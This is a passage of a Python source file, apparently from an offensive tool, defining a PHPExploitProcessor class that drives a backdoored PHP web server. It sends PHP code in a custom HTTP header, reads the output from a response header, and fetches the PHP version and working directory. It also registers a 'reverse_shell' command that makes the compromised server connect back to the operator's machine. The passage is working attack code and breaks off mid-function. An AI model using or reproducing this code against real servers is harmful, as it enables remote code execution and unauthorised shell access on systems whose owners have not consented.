| 23 | Inherits from the ExploitProcessor class. |
| 24 | """ |
| 25 | class PHPExploitProcessor(ExploitProcessor): |
| 26 | def __init__(self, host: str, path: str, method: str, header: str): |
| 27 | super().__init__(host, path, method, header) |
| 28 | self.commands["reverse_shell"] = { |
| 29 | "method": self._Base__reverse_shell, |
| 30 | "description": "Start a reverse shell from the target machine.", |
| 31 | "usage": ("reverse_shell host [port]\n" |
| 32 | " host: hostname of your machine, to which the " |
| 33 | "backdoored server will connect to.\n" |
| 34 | " port: the port to communicate over, " |
| 35 | "defaults to 5000") |
| 36 | } |
| 37 | |
| 38 | |
| 39 | """ |
| 40 | @brief See base class for details. |
| 41 | """ |
| 42 | def get_name(): |
| 43 | return "PHP" |
| 44 | |
| 45 | """ |
| 46 | @brief See base class for details. |
| 47 | """ |
| 48 | def _Base__version(self, options: str): |
| 49 | res = self._Base__send_message(f"header('{self.header}: '" |
| 50 | f" . phpversion());" |
| 51 | f"exit;") |
| 52 | print("PHP Version: " + res) |
| 53 | |
| 54 | """ |
| 55 | @brief See base class for details. |
| 56 | """ |
| 57 | def _Base__make_connection(self): |
| 58 | try: |
| 59 | return self._Base__send_message(f"header('{self.header}: '" |
| 60 | f" . getcwd());" |
| 61 | f"exit;") |
| 62 | except: |
| 63 | raise CommandException(f"Unable to exploit host. Make sure the " |
| 64 | f"TARGET_HOST, TARGET_PATH, TARGET_TYPE, " |
| 65 | f"and METHOD are correct.") |
| 66 | |
| 67 | """ |
| 68 | @brief See base class for details. |
| 69 | """ |
| 70 | def _Base__send_message(self, message: str): |
| 71 | url = f"{self.host}{self.path}" |
| 72 | if not self.host.startswith("http"): |
| 73 | url = "http://" + url |
| 74 | try: |
| 75 | response = requests.request( |
| 76 | self.method, |
| 77 | url, |
| 78 | headers={ f"{self.header}": message } |
| 79 | ) |
| 80 | if not response.ok: |
| 81 | raise Exception() |
| 82 | if not self.header in response.headers: |
nothing calls this directly
no outgoing calls
no test coverage detected